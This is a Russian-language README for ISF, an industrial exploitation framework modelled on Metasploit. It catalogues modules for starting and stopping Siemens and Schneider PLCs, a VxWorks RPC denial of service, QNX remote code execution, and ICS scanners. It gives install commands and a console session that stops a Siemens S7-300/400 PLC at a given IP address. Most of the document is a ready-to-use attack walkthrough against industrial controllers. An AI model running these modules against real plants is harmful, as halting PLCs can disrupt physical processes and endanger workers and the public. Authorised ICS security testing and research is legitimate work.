ICS Exploitation Framework — аналог Metasploit для промышленных протоколов. Поддерживает Modbus, DNP3, IEC 104, S7comm (Siemens), BACnet, EtherNet/IP. Позволяет читать/записывать регистры ПЛК, выполнять команды остановки/перезапуска промышленного оборудования.
git clone https://github.com/dark-lbp/isf cd isf && pip install -r requirements.txt python3 isf.py
ISF (Industrial Exploitation Framework) — это фреймворк эксплуатации на основе Python, аналогичный фреймворку Metasploit.
ISF основан на проекте с открытым исходным кодом routersploit.
Читайте на других языках: English, Упрощенный китайский,
Использование ISF для атак на цели без предварительного взаимного согласия является незаконным. Конечный пользователь несёт ответственность за соблюдение всех применимых местных, государствовых и федеральных законов. Разработчики не несут ответственности за любое неправомерное использование или ущерб, причинённый этой программой.
| Название | Путь | Описание |
|---|---|---|
| modbus_tcp_client | icssploit/clients/modbus_tcp_client.py | Клиент Modbus-TCP |
| wdb2_client | icssploit/clients/wdb2_client.py | Клиент WdbRPC версии 2 (Vxworks 6.x) |
| s7_client | icssploit/clients/s7_client.py | Клиент s7comm (ПЛК S7 300/400) |
| Название | Путь | Описание |
|---|---|---|
| s7_300_400_plc_control | exploits/plcs/siemens/s7_300_400_plc_control.py | Запуск/остановка ПЛК S7-300/400 |
| s7_1200_plc_control | exploits/plcs/siemens/s7_1200_plc_control.py | Запуск/остановка/сброс ПЛК S7-1200 |
| vxworks_rpc_dos | exploits/plcs/vxworks/vxworks_rpc_dos.py | Удалённый отказ в обслуживании RPC для Vxworks (CVE-2015-7599) |
| quantum_140_plc_control | exploits/plcs/schneider/quantum_140_plc_control.py | Запуск/остановка ПЛК Schneider Quantum 140 series |
| crash_qnx_inetd_tcp_service | exploits/plcs/qnx/crash_qnx_inetd_tcp_service.py | Отказ в обслуживании TCP-сервиса Inetd для QNX |
| qconn_remote_exec | exploits/plcs/qnx/qconn_remote_exec.py | Удалённое выполнение кода через qconn в QNX |
| profinet_set_ip | exploits/plcs/siemens/profinet_set_ip.py | Конфигурация IP-адреса устройства Profinet DCP |
| Название | Путь | Описание |
|---|---|---|
| profinet_dcp_scan | scanners/profinet_dcp_scan.py | Сканер Profinet DCP |
| vxworks_6_scan | scanners/vxworks_6_scan.py | Сканер Vxworks 6.x |
| s7comm_scan | scanners/s7comm_scan.py | Сканер S7comm |
| enip_scan | scanners/enip_scan.py | Сканер EthernetIP |
Эти протоколы могут использоваться в других фреймворках фаззинга, таких как Kitty, или для создания собственного клиента.
| Название | Путь | Описание |
|---|---|---|
| pn_dcp | icssploit/protocols/pn_dcp | Протокол Profinet DCP |
| modbus_tcp | icssploit/protocols/modbus_tcp | Протокол Modbus TCP |
| wdbrpc2 | icssploit/protocols/wdbrpc2 | Протокол WDB RPC версии 2 |
| s7comm | icssploit/protocols/s7comm.py | Протокол S7comm |
git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py
root@kali:~/Desktop/temp/isf# python isf.py
_____ _____ _____ _____ _____ _ ____ _____ _______
|_ _/ ____|/ ____/ ____| __ \| | / __ \_ _|__ __|
| || | | (___| (___ | |__) | | | | | || | | |
| || | \___ \\___ \| ___/| | | | | || | | |
_| || |____ ____) |___) | | | |___| |__| || |_ | |
|_____\_____|_____/_____/|_| |______\____/_____| |_|
Промышленный фреймворк эксплуатации (ICS)
Примечание : ICSSPOLIT является форком routersplop
https://github.com/reverse-shell/routersploit
Команда разработчиков : wenzhe zhu (dark-lbp)
Версия : 0.1.0
Эксплойты: 2 Сканеры: 0 Учётные данные: 13
Промышленные эксплойты (ICS):
ПЛК: 2 Коммутаторы ICS: 0
ПО: 0
isf >
isf > use exploits/plcs/
exploits/plcs/siemens/ exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >
Вы можете использовать клавишу Tab для автодополнения.
isf (S7-300/400 PLC Control) > show options
Опции цели:
Название Текущие настройки Описание
---- ---------------- -----------
target Адрес цели, например 192.168.1.1
port 102 Порт цели
Опции модуля:
Название Текущие настройки Описание
---- ---------------- -----------
slot 2 Номер слота CPU.
command 1 Команда 0: запустить ПЛК, 1: остановить ПЛК.
isf (S7-300/400 PLC Control) >
isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}
isf (S7-300/400 PLC Control) > run
[*] Запуск модуля...
[+] Цель доступна
[*] Отправка пакета цели
[*] Остановка ПЛК
isf (S7-300/400 PLC Control) >
isf (S7-300/400 PLC Control) > show info
Название:
S7-300/400 PLC Control
Описание:
Использование команды S7comm для запуска/остановки ПЛК.
Устройства:
- Программируемые логические контроллеры (ПЛК) Siemens S7-300 и S7-400
Авторы:
- wenzhe zhu <jtrkid[at]gmail.com>
Ссылки:
isf (S7-300/400 PLC Control) >